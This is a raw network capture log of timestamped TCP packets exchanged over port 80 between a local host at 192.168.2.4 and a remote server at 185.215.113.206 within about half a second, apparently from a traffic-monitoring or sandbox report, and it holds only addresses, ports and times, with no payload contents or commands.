Nov 24, 2024 02:13:26.838459015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.838530064 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.839248896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.839272976 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.839339018 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.840078115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.840111971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.840188980 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.840908051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.840934992 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.841012955 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.841702938 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.841738939 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.841799021 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.841828108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:26.842487097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:26.846041918 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.000349998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.000472069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.000560045 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.000595093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.000675917 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.000705957 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.001358032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.001388073 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.001446009 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.002202034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.002232075 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.002254963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.002999067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.003026962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.003106117 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.003829002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.003859043 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.003904104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.004686117 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.004724026 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.004787922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.005050898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.005471945 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.005580902 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.005587101 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.005855083 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.006277084 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.006373882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.006438971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.006438971 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.007091999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.007210016 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.007240057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.007350922 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.007934093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.008117914 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.008168936 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.008744955 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.008841038 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.009124041 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.009601116 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.009680033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.009784937 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.010375977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.010493994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.010601044 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.011198997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.011323929 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.011490107 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.012026072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.012125015 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.012159109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.012845993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.012934923 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.012960911 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.013654947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.013685942 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.013772964 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.014504910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.014529943 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.014559031 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.015310049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.015340090 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.015409946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.016099930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.016127110 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.016222954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.016252995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.016580105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.016953945 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.017060995 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.017112017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.017805099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.017817974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.017883062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.017884016 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.018584967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.018598080 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.018763065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.019445896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.019500017 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.019818068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.020267963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.020332098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.020359993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.021085024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.021177053 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.021208048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.021265030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.021867037 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.021924019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.021956921 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.022178888 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.022680044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.022721052 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.022874117 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.023508072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.023554087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.023597002 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.024306059 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.024337053 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.024389029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.024419069 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.025163889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.025216103 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.025244951 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.025948048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.025978088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.026072025 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.026768923 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.026804924 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.026900053 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.027287960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.027601957 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.027707100 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.027739048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.028038025 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.028436899 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.028539896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.028620958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.029226065 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.029339075 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.029342890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.029486895 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.030071974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.030179977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.030277014 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.030865908 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.030999899 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.031692982 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.031804085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.031835079 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.032068014 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.032520056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.032623053 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.032649040 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.033397913 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.033427000 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.033457041 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.033485889 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.033524036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.034151077 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.034260035 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.034358978 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.034975052 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.035087109 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.035139084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.035778999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.035891056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.036606073 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.036715031 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.036742926 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.037416935 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.037544012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.037570953 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.038254023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.038283110 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.038361073 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.038724899 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.039081097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.039203882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.039228916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.039303064 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.039889097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.039973974 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.040008068 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.040111065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.040714025 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.040800095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.040810108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.040971041 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.041520119 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.041631937 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.041795015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.042341948 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.042465925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.042493105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.043157101 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.043543100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.201946974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.202016115 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.202085972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.202125072 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.202270985 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.202322960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.202353954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.202415943 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.203064919 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.203114033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.203161955 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.203270912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.203891993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.203944921 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.204052925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.204099894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.204694986 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.204741955 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.204827070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.204866886 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.205527067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.205569983 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.205619097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.205657005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.206327915 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.206372976 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.206448078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.206490993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.207161903 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.207204103 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.207262039 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.207302094 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.207986116 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.208028078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.208096027 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.208137989 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.208842039 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.208889961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.208925962 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.208975077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.209603071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.209659100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.209714890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.209768057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.210421085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.210474014 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.210525036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.210572958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.211297035 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.211407900 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.211416960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.211467981 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.212070942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.212114096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.212182999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.212223053 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.212960005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.213010073 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.213020086 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.213064909 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.213730097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.213776112 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.213820934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.213865042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.214536905 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.214581966 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.214627028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.214668989 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.215374947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.215420008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.215466976 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.215506077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.216180086 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.216224909 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.216263056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.216303110 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.216996908 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.217047930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.217102051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.217148066 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.217802048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.217847109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.217993021 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.218044043 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.218640089 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.218683004 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.218736887 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.218785048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.219454050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.219504118 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.219556093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.219590902 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.220272064 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.220319033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.220381975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.220421076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.221091986 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.221134901 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.221205950 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.221252918 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.221905947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.221962929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.222027063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.222073078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.222726107 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.222770929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.222840071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.222872019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.223548889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.223591089 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.223673105 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.223721981 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.224350929 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.224399090 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.224483013 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.224526882 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.225200891 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.225244999 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.225289106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.225336075 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.225984097 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.226030111 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.226124048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.226170063 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.226839066 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.226885080 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.226933002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.226972103 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.227690935 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.227737904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.227782011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.227828979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.228451967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.228498936 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.228576899 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.228620052 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.229471922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.229517937 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.229541063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.229588032 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.230133057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.230149984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.230175018 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.230186939 CET	49748	80	192.168.2.4	185.215.113.206
